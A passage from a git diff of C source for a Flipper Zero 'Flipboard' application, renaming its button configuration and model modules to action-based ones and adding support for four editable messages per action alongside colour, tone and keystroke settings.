@brief message_updated is called when the text message 2 is updated. + * @param context The ActionModel. + */ +static void message2_updated(void* context) { + message_updated(context, 1); +} + +/** + * @brief message_updated is called when the text message 3 is updated. + * @param context The ActionModel. + */ +static void message3_updated(void* context) { + message_updated(context, 2); +} + +/** + * @brief message_updated is called when the text message 4 is updated. + * @param context The ActionModel. + */ +static void message4_updated(void* context) { + message_updated(context, 3); +} + +/** + * @brief keystroke_selector_callback is called when a keystroke is selected. + * @param button_code The button code that was selected. + * @param context The ActionModel. +*/ +static void keystroke_selector_callback(uint16_t button_code, void* context) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t item = action_model_get_temp_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item); + if(ks.button_code != button_code) { + action_model_set_keystroke(action_model, (uint8_t)item, button_code, ks.count); + populate_variable_item_list(action_config, action_model); + } + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief item_message_clicked is called when a message is clicked in the config menu. + * @details item_message_clicked is called when an item is clicked in the config menu. + * It displays an enter message dialog and will store the message in the ActionModel. + * @param action_model The ActionModel. + * @param message_number The message number to edit (0-3). +*/ +static void item_message_clicked(ActionModel* action_model, uint8_t message_number) { + FURI_LOG_D(TAG, "Message index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + + text_input_set_header_text( + action_config->text_input, + (message_number == 0) ? "Enter message 1" : + (message_number == 1) ? "Enter message 2" : + (message_number == 2) ? "Enter message 3" : + "Enter message 4"); + if(action_model_get_message(action_model, message_number)) { + strncpy( + action_model_get_temp_buffer(action_model), + furi_string_get_cstr(action_model_get_message(action_model, message_number)), + action_model_get_temp_buffer_size(action_model) - 1); + } else { + action_model_get_temp_buffer(action_model)[0] = 0; + } + + view_set_previous_callback( + text_input_get_view(action_config->text_input), + get_menu_callback(action_config->view_item_list_id)); + + text_input_set_result_callback( + action_config->text_input, + (message_number == 0) ? message1_updated : + (message_number == 1) ? message2_updated : + (message_number == 2) ? message3_updated : + message4_updated, + action_model, + action_model_get_temp_buffer(action_model), + action_model_get_temp_buffer_size(action_model), + false); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_text_input_id); + + return; +} + +/** + * @brief item_clicked is called when an item is clicked in the config menu. + * @details item_clicked is called when an item is clicked in the config menu. + * It determines which item was clicked and switches to the appropriate view, + * if the item has an editor. + * @param context The ActionModel. + * @param index The index of the item that was clicked. +*/ +static void item_clicked(void* context, uint32_t index) { + ActionModel* action_model = (ActionModel*)context; + uint8_t message_index = action_model_get_message_index(action_model); + if(index >= message_index && index < message_index + 4u) { + item_message_clicked(action_model, index - message_index); + return; + } + + uint8_t keystroke_index = action_model_get_keystroke_index(action_model); + if(index == keystroke_index) { + FURI_LOG_D("Flipboard", "Keystroke index clicked"); + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + + uint16_t keycode = 0; + action_model_append_keystroke(action_model, keycode, 1); + + populate_variable_item_list(action_config, action_model); + return; + } + + if(index < keystroke_index) { + uint32_t count = action_model_get_keystrokes_count(action_model); + + int32_t item = count - ((keystroke_index - index) / 2); + + FURI_LOG_D( + "Flipboard", + "Keystroke clicked? item=%ld count=%ld keystroke_index=%d index=%ld", + item, + count, + keystroke_index, + index); + + if(item < 0) { + FURI_LOG_D("Flipboard", "Not keystroke clicked. Ignorning"); + return; + } + + if(index % 2 == 0) { + FURI_LOG_D("Flipboard", "Count clicked. Ignorning"); + return; + } + + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + if(action_config->keystroke_selector == NULL) { + return; + } + + view_set_previous_callback( + keystroke_selector_get_view(action_config->keystroke_selector), + get_menu_callback(action_config->view_item_list_id)); + + Keystroke keystroke = action_model_get_keystroke(action_model, (uint8_t)item); + keystroke_selector_set_key(action_config->keystroke_selector, keystroke.button_code); + action_model_set_temp_index(action_model, (uint8_t)item); + keystroke_selector_set_callback( + action_config->keystroke_selector, keystroke_selector_callback, action_model); + + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + + return; + } + + FURI_LOG_D("Flipboard", "Unknown index clicked %ld", index); +} + +/** + * @brief populate_variable_item_list adds the variable items to the list. + * @details populate_variable_item_list adds the variable items to the list. It starts + * by resetting the list. Then it adds the items based on the fields in the + * ActionConfig and the ActionModel. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. +*/ +static void populate_variable_item_list(ActionConfig* action_config, ActionModel* action_model) { + variable_item_list_reset(action_config->item_list); + uint8_t item_index = 0; + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorDown) { + populate_variable_item_list_color( + action_config, + action_model, + "Press color", + color_down_changed, + action_model_get_color_down(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldColorUp) { + populate_variable_item_list_color( + action_config, + action_model, + "Release color", + color_up_changed, + action_model_get_color_up(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldFrequency) { + populate_variable_item_list_frequency( + action_config, + action_model, + "Music note", + tone_changed, + action_model_get_frequency(action_model)); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & + ActionModelFieldKeystrokes) { + item_index += populate_variable_item_list_keystrokes(action_config, action_model); + variable_item_list_add(action_config->item_list, "Add Keystroke", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_keystroke_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 1", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + action_model_set_message_index(action_model, item_index); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 2", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 3", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } + + if(flipboard_model_get_action_model_fields(action_config->model) & ActionModelFieldMessage) { + variable_item_list_add(action_config->item_list, "Message 4", 0, NULL, NULL); + variable_item_list_set_enter_callback( + action_config->item_list, item_clicked, action_model); + item_index++; + } +} + +/** + * @brief item_callback is called when a action is selected in the menu. + * @details item_callback is called when a action is selected in the menu. It + * sets the ActionConfig in the ActionModel. It then populates the + * VariableItemList with the settings for the action. Finally, it switches to + * the VariableItemList view. + * @param context The ActionConfig. + * @param index The index of the action that was selected. +*/ +static void item_callback(void* context, uint32_t index) { + ActionConfig* action_config = (ActionConfig*)context; + FlipboardModel* model = action_config->model; + ActionModel* action_model = flipboard_model_get_action_model(model, index); + if(!action_model) { + FURI_LOG_E("TAG", "Index=%ld action_model=NULL", index); + } else { + FURI_LOG_D( + "TAG", + "Index=%ld action_model.action_id=%d", + index, + action_model_get_action_id(action_model)); + } + + furi_assert(action_model && action_model_get_action_id(action_model) == index); + action_model_set_action_config(action_model, action_config); + populate_variable_item_list(action_config, action_model); + variable_item_list_set_selected_item(action_config->item_list, 0); + + if(action_config->view_dispatcher) { + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } +} + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. +*/ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t rows) { + ActionConfig* action_config = (ActionConfig*)malloc(sizeof(ActionConfig)); + action_config->view_dispatcher = NULL; + action_config->model = model; + action_config->menu_actions = submenu_alloc(); + action_config->view_menu_actions_id = config_view_id; + action_config->text_input = text_input_alloc(); + action_config->view_text_input_id = 0; + action_config->keystroke_selector = + (keys == NULL) ? NULL : keystroke_selector_alloc(keys, shift_keys, rows); + action_config->view_keystroke_selector_id = 0; + action_config->item_list = variable_item_list_alloc(); + action_config->view_item_list_id = 0; + view_set_previous_callback( + variable_item_list_get_view(action_config->item_list), get_menu_callback(config_view_id)); + + FuriString* action_name = furi_string_alloc(); + + bool single = flipboard_model_get_single_button_mode(model); + + for(int i = 1; i < 16;) { + furi_string_printf(action_name, "Action %d (", i); + if(i == 15) { + furi_string_cat_printf(action_name, "all buttons"); + } else { + furi_string_cat_printf(action_name, "button"); + if(i != 1 && i != 2 && i != 4 && i != 8) { + furi_string_cat_printf(action_name, "s"); + } + furi_string_cat_printf(action_name, " "); + int btn = 0; + if(i & 1) { + furi_string_cat_printf(action_name, "1"); + btn |= 1; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 2) { + furi_string_cat_printf(action_name, "2"); + btn |= 2; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 4) { + furi_string_cat_printf(action_name, "3"); + btn |= 4; + if(btn != i) { + furi_string_cat_printf(action_name, ", "); + } + } + if(i & 8) { + furi_string_cat_printf(action_name, "4"); + btn |= 8; + } + } + furi_string_cat_printf(action_name, ")"); + submenu_add_item( + action_config->menu_actions, + furi_string_get_cstr(action_name), + i, + item_callback, + action_config); + if(single) { + i = i << 1; + } else { + i++; + } + } + submenu_set_header(action_config->menu_actions, "Configure Action"); + + return action_config; +} + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. +*/ +void action_config_free(ActionConfig* action_config) { + if(action_config->view_dispatcher != NULL) { + if(action_config->view_item_list_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_item_list_id); + } + + if(action_config->view_text_input_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_text_input_id); + } + + if(action_config->view_keystroke_selector_id) { + view_dispatcher_remove_view( + action_config->view_dispatcher, action_config->view_keystroke_selector_id); + } + } + variable_item_list_free(action_config->item_list); + submenu_free(action_config->menu_actions); + text_input_free(action_config->text_input); + if(action_config->keystroke_selector) { + keystroke_selector_free(action_config->keystroke_selector); + } + free(action_config); +} + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. +*/ +View* action_config_get_view(ActionConfig* action_config) { + return submenu_get_view(action_config->menu_actions); +} + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. +*/ +uint32_t action_config_get_view_id(ActionConfig* action_config) { + return action_config->view_menu_actions_id; +} + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. +*/ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher) { + action_config->view_dispatcher = view_dispatcher; +} + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. +*/ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_item_list_id = variable_item_list_view_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_item_list_id, + variable_item_list_get_view(action_config->item_list)); +} + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id) { + furi_assert(action_config->view_dispatcher != NULL); + action_config->view_text_input_id = text_input_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_text_input_id, + text_input_get_view(action_config->text_input)); +} + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id) { + furi_assert(action_config->view_dispatcher != NULL); + if(action_config->keystroke_selector == NULL) { + return; + } + action_config->view_keystroke_selector_id = keystroke_selector_id; + view_dispatcher_add_view( + action_config->view_dispatcher, + action_config->view_keystroke_selector_id, + keystroke_selector_get_view(action_config->keystroke_selector)); +} diff --git a/applications/external/flipblinky/common/action_config.h b/applications/external/flipblinky/common/action_config.h new file mode 100644 index 00000000000..fd8129fa000 --- /dev/null +++ b/applications/external/flipblinky/common/action_config.h @@ -0,0 +1,99 @@ +/** + * @file action_config.h + * @brief This file contains the ActionConfig type and related functions. + * @details This file contains the ActionConfig type and related functions. + * The action_config module is responsible for managing the configuration of a + * action on the Flipboard. An action may consist of multiple buttons at the + * same time (so there are 15 actions that can be configured). +*/ + +#pragma once + +#include +#include +#include "keystroke_selector.h" + +typedef struct FlipboardModel FlipboardModel; +typedef struct ActionConfig ActionConfig; + +/** + * @brief Allocate and initialize ActionConfig structure. + * @details Allocate and initialize ActionConfig structure. Applications can + * pass in a list of keys to be used for the keystroke selector. + * @param model The FlipboardModel. + * @param config_view_id The view id for the configure view. + * @param keys The list of keys to be used for the keystroke selector. + * @param shift_keys The list of shift keys to be used for the keystroke selector. + * @param rows The number of rows in the keystroke selector. KEYSTROKE_SELECTOR_COLS is + * used for the number of columns. + */ +ActionConfig* action_config_alloc( + FlipboardModel* model, + uint32_t config_view_id, + KeystrokeSelectorKey* keys, + KeystrokeSelectorKey* shift_keys, + uint8_t keyboard_rows); + +/** + * @brief action_config_free releases allocated resources. + * @param action_config The ActionConfig to free. + */ +void action_config_free(ActionConfig* action_config); + +/** + * @brief Get view of ActionConfig structure. + * @details This function return view of ActionConfig structure. It is used to add ActionConfig + * view to ViewDispatcher. + * @param action_config Pointer to ActionConfig structure. + * @return Pointer to view of ActionConfig structure. + */ +View* action_config_get_view(ActionConfig* action_config); + +/** + * @brief Get view id of ActionConfig structure. + * @details This function return view id of ActionConfig structure. It is used to add ActionConfig + * view to the application menu. + * @param action_config Pointer to ActionConfig structure. + * @return View id of ActionConfig structure. + */ +uint32_t action_config_get_view_id(ActionConfig* action_config); + +/** + * @brief action_config_register_dispatcher registers the ViewDispatcher. + * @param action_config The ActionConfig. + * @param view_dispatcher The ViewDispatcher. + */ +void action_config_register_dispatcher( + ActionConfig* action_config, + ViewDispatcher* view_dispatcher); + +/** + * @brief action_config_register_variable_item_list registers the VariableItemList. + * @details action_config_register_variable_item_list registers the VariableItemList. The + * VariableItemList is used to show the configuration of a action. + * @param action_config The ActionConfig. + * @param variable_item_list_view_id The view id for the VariableItemList. + */ +void action_config_register_variable_item_list( + ActionConfig* action_config, + uint32_t variable_item_list_view_id); + +/** + * @brief action_config_register_text_input registers the TextInput. + * @details action_config_register_text_input registers the TextInput. The + * TextInput is used to enter a message. + * @param action_config The ActionConfig. + * @param text_input_id The view id for the TextInput. +*/ +void action_config_register_text_input(ActionConfig* action_config, uint32_t text_input_id); + +/** + * @brief action_config_register_keystroke_selector registers the KeystrokeSelector. + * @details action_config_register_keystroke_selector registers the KeystrokeSelector. The + * KeystrokeSelector is used to select a keystroke. + * @param action_config The ActionConfig. + * @param keystroke_selector_id The view id for the KeystrokeSelector. +*/ +void action_config_register_keystroke_selector( + ActionConfig* action_config, + uint32_t keystroke_selector_id); diff --git a/applications/external/flipsignal/common/button_config_i.h b/applications/external/flipblinky/common/action_config_i.h similarity index 64% rename from applications/external/flipsignal/common/button_config_i.h rename to applications/external/flipblinky/common/action_config_i.h index 13fd501cc2d..c823a1b72c2 100644 --- a/applications/external/flipsignal/common/button_config_i.h +++ b/applications/external/flipblinky/common/action_config_i.h @@ -5,7 +5,10 @@ #include #include -#include "button_config.h" +#include "../app_config.h" + +#include "action_config.h" +#define DEFINE_COLOR_NAMES_AND_VALUES "action_config_i.h" #include "config_colors.h" #include "config_keystroke.h" #include "config_tones.h" @@ -13,15 +16,15 @@ #include "keystroke_selector.h" #include "menu_callback.h" -struct ButtonConfig { +struct ActionConfig { FlipboardModel* model; ViewDispatcher* view_dispatcher; - // menu_buttons is used for showing a list of buttons to be configured. - Submenu* menu_buttons; - uint32_t view_menu_buttons_id; + // menu_actionss is used for showing a list of action to be configured. + Submenu* menu_actions; + uint32_t view_menu_actions_id; - // item_list is used for showing the configurations of a button. + // item_list is used for showing the configurations of an action. VariableItemList* item_list; uint32_t view_item_list_id; @@ -38,4 +41,6 @@ typedef struct { void* app; uint8_t key; uint8_t index; -} VariableItemContext; \ No newline at end of file +} VariableItemContext; + +static void populate_variable_item_list(ActionConfig* button_config, ActionModel* bm); \ No newline at end of file diff --git a/applications/external/flipsignal/common/button_model.c b/applications/external/flipblinky/common/action_model.c similarity index 50% rename from applications/external/flipsignal/common/button_model.c rename to applications/external/flipblinky/common/action_model.c index 1bb2bd54e7a..2df5761bf3c 100644 --- a/applications/external/flipsignal/common/button_model.c +++ b/applications/external/flipblinky/common/action_model.c @@ -1,23 +1,22 @@ -#include "button_model_i.h" - -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format); -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format); +#include "action_model_i.h" /** - * @brief Allocates a new button model. - * @param button_id The button id for the model. - * @return The new button model. + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. */ -ButtonModel* button_model_alloc(uint8_t button_id) { - ButtonModel* model = malloc(sizeof(ButtonModel)); - model->button_id = button_id; +ActionModel* action_model_alloc(uint8_t action_id) { + ActionModel* model = malloc(sizeof(ActionModel)); + model->action_id = action_id; model->color_up = 0x000000; model->color_down = 0x000000; model->frequency = 0.0f; model->keystrokes_count = 0; model->keystrokes = NULL; - model->message = NULL; + model->message[0] = NULL; + model->message[1] = NULL; + model->message[2] = NULL; + model->message[3] = NULL; model->message_index = 0; model->temp_buffer_size = 30; model->temp_buffer = (char*)malloc(sizeof(char) * model->temp_buffer_size); @@ -25,32 +24,35 @@ ButtonModel* button_model_alloc(uint8_t button_id) { } /** - * @brief Allocates a new button model from a FlipperFormat. - * @param button_id The button id for the model. + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. * @param flipper_format The FlipperFormat to load from. - * @return The new button model. + * @return The new action model. */ -ButtonModel* button_model_alloc_from_ff(uint8_t button_id, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(button_id, flipper_format); - if(fields == ButtonModelFieldNone) { +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(action_id, flipper_format); + if(fields == ActionModelFieldNone) { return NULL; } - ButtonModel* model = button_model_alloc(button_id); - button_model_load_fields(model, flipper_format); + ActionModel* model = action_model_alloc(action_id); + action_model_load_fields(model, flipper_format); return model; } /** - * @brief Frees a button model. + * @brief Frees a action model. * @param model The model to free. */ -void button_model_free(ButtonModel* model) { +void action_model_free(ActionModel* model) { if(model->keystrokes) { free(model->keystrokes); } - if(model->message) { - furi_string_free(model->message); + for(int i = 0; i < 4; i++) { + if(model->message[i]) { + furi_string_free(model->message[i]); + model->message[i] = NULL; + } } if(model->temp_buffer) { free(model->temp_buffer); @@ -59,29 +61,29 @@ void button_model_free(ButtonModel* model) { } /** - * @brief Gets the button id for the model. - * @param model The model to get the button id for. - * @return The button id for the model. + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. */ -uint8_t button_model_get_button_id(ButtonModel* model) { - return model->button_id; +uint8_t action_model_get_action_id(ActionModel* model) { + return model->action_id; } /** - * @brief Gets the HEX color when the button is not pressed. + * @brief Gets the HEX color when the action is not pressed. * @param model The model to get the color for. - * @return The hex color for when button is up. + * @return The hex color for when action is up. */ -uint32_t button_model_get_color_up(ButtonModel* model) { +uint32_t action_model_get_color_up(ActionModel* model) { return model->color_up; } /** - * @brief Gets the HEX color when the button is pressed. + * @brief Gets the HEX color when the action is pressed. * @param model The model to get the color for. - * @return The hex color for when button is pressed down. + * @return The hex color for when action is pressed down. */ -uint32_t button_model_get_color_down(ButtonModel* model) { +uint32_t action_model_get_color_down(ActionModel* model) { return model->color_down; } @@ -90,7 +92,7 @@ uint32_t button_model_get_color_down(ButtonModel* model) { * @param model The model to get the message index for. * @return The index of the menu item for editing the message. */ -uint8_t button_model_get_message_index(ButtonModel* model) { +uint8_t action_model_get_message_index(ActionModel* model) { return model->message_index; } @@ -99,7 +101,7 @@ uint8_t button_model_get_message_index(ButtonModel* model) { * @param model The model to get the keystroke index for. * @return The index of the menu item for adding a keystroke. */ -uint8_t button_model_get_keystroke_index(ButtonModel* model) { +uint8_t action_model_get_keystroke_index(ActionModel* model) { return model->keystroke_index; } @@ -108,7 +110,7 @@ uint8_t button_model_get_keystroke_index(ButtonModel* model) { * @param model The model to get the temp buffer for. * @return The temp buffer for editing the message. */ -char* button_model_get_temp_buffer(ButtonModel* model) { +char* action_model_get_temp_buffer(ActionModel* model) { return model->temp_buffer; } @@ -117,7 +119,7 @@ char* button_model_get_temp_buffer(ButtonModel* model) { * @param model The model to get the temp buffer size for. * @return The size of the temp buffer for editing the message. */ -size_t button_model_get_temp_buffer_size(ButtonModel* model) { +size_t action_model_get_temp_buffer_size(ActionModel* model) { return model->temp_buffer_size; } @@ -126,25 +128,25 @@ size_t button_model_get_temp_buffer_size(ButtonModel* model) { * @param model The model to get the temp index for. * @return The index of the item being edited. */ -uint8_t button_model_get_temp_index(ButtonModel* model) { +uint8_t action_model_get_temp_index(ActionModel* model) { return model->temp_index; } /** - * @brief Gets the button config associated with this model. - * @param model The model to get the button config for. - * @return The button config associated with this model. + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. */ -void* button_model_get_button_config(ButtonModel* model) { - return model->button_config; +void* action_model_get_action_config(ActionModel* model) { + return model->action_config; } /** - * @brief Gets the frequency for the button, in Hz. + * @brief Gets the frequency for the action, in Hz. * @param model The model to get the frequency for. - * @return The frequency for the button. + * @return The frequency for the action. */ -float button_model_get_frequency(ButtonModel* model) { +float action_model_get_frequency(ActionModel* model) { if(model == NULL) { return 0.0f; } @@ -153,11 +155,11 @@ float button_model_get_frequency(ButtonModel* model) { } /** - * @brief Gets the number of keystrokes for the button. + * @brief Gets the number of keystrokes for the action. * @param model The model to get the keystrokes count for. - * @return The number of keystrokes for the button. + * @return The number of keystrokes for the action. */ -uint8_t button_model_get_keystrokes_count(ButtonModel* model) { +uint8_t action_model_get_keystrokes_count(ActionModel* model) { if(model == NULL) { return 0; } @@ -171,7 +173,7 @@ uint8_t button_model_get_keystrokes_count(ButtonModel* model) { * @param index The index of the keystroke to get. * @return The keystroke at the given index. */ -Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index) { if(index < model->keystrokes_count) { return model->keystrokes[index]; } @@ -183,33 +185,34 @@ Keystroke button_model_get_keystroke(ButtonModel* model, uint8_t index) { } /** - * @brief Gets the message for the button. + * @brief Gets the message for the action. * @param model The model to get the message for. - * @return The message for the button. + * @param message_number The message number to get. + * @return The message for the action. */ -FuriString* button_model_get_message(ButtonModel* model) { - if(model == NULL) { +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number) { + if(model == NULL || message_number >= 4) { return NULL; } - return model->message; + return model->message[message_number]; } /** - * @brief Sets the HEX color when the button is not pressed. + * @brief Sets the HEX color when the action is not pressed. * @param model The model to set the color for. - * @param color_up The hex color for when button is up. + * @param color_up The hex color for when action is up. */ -void button_model_set_color_up(ButtonModel* model, uint32_t color_up) { +void action_model_set_color_up(ActionModel* model, uint32_t color_up) { model->color_up = color_up; } /** - * @brief Sets the HEX color when the button is pressed. + * @brief Sets the HEX color when the action is pressed. * @param model The model to set the color for. - * @param color_down The hex color for when button is pressed down. + * @param color_down The hex color for when action is pressed down. */ -void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { +void action_model_set_color_down(ActionModel* model, uint32_t color_down) { model->color_down = color_down; } @@ -218,7 +221,7 @@ void button_model_set_color_down(ButtonModel* model, uint32_t color_down) { * @param model The model to set the message index for. * @param index The index of the menu item for editing the message. */ -void button_model_set_message_index(ButtonModel* model, uint8_t index) { +void action_model_set_message_index(ActionModel* model, uint8_t index) { model->message_index = index; } @@ -227,7 +230,7 @@ void button_model_set_message_index(ButtonModel* model, uint8_t index) { * @param model The model to set the keystroke index for. * @param index The index of the menu item for adding a keystroke. */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { +void action_model_set_keystroke_index(ActionModel* model, uint8_t index) { model->keystroke_index = index; } @@ -235,38 +238,38 @@ void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { * @brief Sets the index of the item being edited. * @param model The model to set the temp index for. */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index) { +void action_model_set_temp_index(ActionModel* model, uint8_t index) { model->temp_index = index; } /** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. */ -void button_model_set_button_config(ButtonModel* model, void* button_config) { - model->button_config = button_config; +void action_model_set_action_config(ActionModel* model, void* action_config) { + model->action_config = action_config; } /** - * @brief Sets the frequency for the button, in Hz. + * @brief Sets the frequency for the action, in Hz. * @param model The model to set the frequency for. - * @param frequency The frequency for the button. + * @param frequency The frequency for the action. */ -void button_model_set_frequency(ButtonModel* model, float frequency) { +void action_model_set_frequency(ActionModel* model, float frequency) { model->frequency = frequency; } /** - * @brief Sets the keystrokes and count for the button. + * @brief Sets the keystrokes and count for the action. * @param model The model to set the keystrokes count for. * @param index The index of the keystroke to set. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. * @return True if the keystroke was set, false otherwise. */ -bool button_model_set_keystroke( - ButtonModel* model, +bool action_model_set_keystroke( + ActionModel* model, uint8_t index, uint16_t button_code, uint8_t count) { @@ -280,12 +283,12 @@ bool button_model_set_keystroke( } /** - * @brief Appends a keystroke to the button. + * @brief Appends a keystroke to the action. * @param model The model to append the keystroke to. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count) { +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count) { model->keystrokes_count++; if(model->keystrokes == NULL) { model->keystrokes = malloc(sizeof(Keystroke)); @@ -298,11 +301,11 @@ void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uin } /** - * @brief Removes the last keystroke from the button. + * @brief Removes the last keystroke from the action. * @param model The model to remove the keystroke from. * @return True if the keystroke was removed, false otherwise. */ -bool button_model_remove_last_keystroke(ButtonModel* model) { +bool action_model_remove_last_keystroke(ActionModel* model) { if(model->keystrokes == NULL || model->keystrokes_count == 0) { return false; } @@ -322,46 +325,47 @@ bool button_model_remove_last_keystroke(ButtonModel* model) { } /** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be * be considered as empty string. * @param model The model to set the message for. - * @param message The message for the button. + * @param message The message for the action. + * @param message_number The message number to set. */ -void button_model_set_message(ButtonModel* model, const char* message) { +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number) { if(message != NULL && message[0] == ' ') { // Hack since we can't clear the message. message++; } if(message == NULL || message[0] == '\0') { - if(model->message) { - furi_string_free(model->message); + if(model->message[message_number]) { + furi_string_free(model->message[message_number]); } - model->message = NULL; + model->message[message_number] = NULL; return; } - if(model->message == NULL) { - model->message = furi_string_alloc(); + if(model->message[message_number] == NULL) { + model->message[message_number] = furi_string_alloc(); } - furi_string_set(model->message, message); + furi_string_set(model->message[message_number], message); } /** - * @brief Saves the button model to a FlipperFormat. + * @brief Saves the action model to a FlipperFormat. * @param model The model to save. * @param flipper_format The FlipperFormat to save to. * @param fields The fields to save. * @return True if the model was saved, false otherwise. */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields) { +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields) { if(!flipper_format_write_comment_cstr(flipper_format, "")) { return false; } - uint32_t data32 = model->button_id; - if(!flipper_format_write_uint32(flipper_format, "ButtonId", &data32, 1)) { + uint32_t data32 = model->action_id; + if(!flipper_format_write_uint32(flipper_format, "ActionId", &data32, 1)) { return false; } @@ -370,52 +374,75 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button return false; } - data32 = button_model_get_color_up(model); - if((fields & ButtonModelFieldColorUp) && + data32 = action_model_get_color_up(model); + if((fields & ActionModelFieldColorUp) && !flipper_format_write_uint32(flipper_format, "ColorUp", &data32, 1)) { return false; } - data32 = button_model_get_color_down(model); - if((fields & ButtonModelFieldColorDown) && + data32 = action_model_get_color_down(model); + if((fields & 